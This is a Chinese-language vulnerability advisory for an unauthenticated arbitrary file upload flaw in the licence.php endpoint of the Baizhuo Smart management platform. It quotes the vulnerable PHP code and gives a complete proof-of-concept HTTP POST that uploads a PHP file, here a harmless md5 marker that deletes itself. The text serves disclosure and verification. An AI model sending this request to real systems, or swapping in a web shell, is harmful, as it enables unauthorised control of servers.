漏洞简介

百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。
百卓Smart管理平台 licence.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件，执行任意指令，从而获得服务器权限并操纵服务器文件。

漏洞分析

关键代码如下

<?php
if(isset($_POST['mode'])) $mode=$_POST['mode'];
if($mode=="set")
{
    $type=$_POST['ck'];
    if($type == "radhttp") //http
    {
        chdir("/home/");
        if(!is_file("upload")) mkdir("upload",0777);
        $http_licence_dir = "/home/upload/";
        chdir($http_licence_dir);
        exec("rm -rf *");
        $upload_file = $_FILES['file_upload']['tmp_name'];
        $upload_file_name = $_FILES['file_upload']['name'];
        /*echo $upload_file."<br>";
        echo $upload_file_name."<br>";*/

        if(!copy($upload_file,$http_licence_dir.$upload_file_name))
        {
            add_optlog($sess_username,"licence",GetIp(),"$LANG_HTTPLICENCE_FAILD");
            alert("$LANG_UPLOADLICENCE_FAILD","licence.php");
            exit();

        }
        $str = "upgrade licence $http_licence_dir$upload_file_name\n";
        $rbuf = socket($str);
        if(!strstr($rbuf,"0:"))
        {
            add_optlog($sess_username,"licence",GetIp(),"$LANG_HTTPLICENCE_FAILD");
            alert("$LANG_UPDATELICENCE_FAILD","licence.php");
            exit();

        }
        add_optlog($sess_username,"licence",GetIp(),"$LANG_HTTPLICENCE_SUCCESS");
        alert("$LANG_UPDATELICENCE_SUCCESS","licence.php");

    }

如果 $mode=="set"，且 $type == "radhttp"，则在 home 目录下创建 upload目录（如果不存在），设置权限并清空upload目录后，直接保存上传文件到此目录。

漏洞复现

POST /sysmanage/licence.php HTTP/1.1
Host: smart.mrxn.net
Content-Type: multipart/form-data; boundary=----123456

------123456
Content-Disposition: form-data; name="mode"

set
------123456
Content-Disposition: form-data; name="ck"

radhttp
------123456
Content-Disposition: form-data; name="file_upload"; filename="test.php"

<?=md5(123456);unlink(__FILE__);
------123456--

访问上传文件 /home/upload/test.php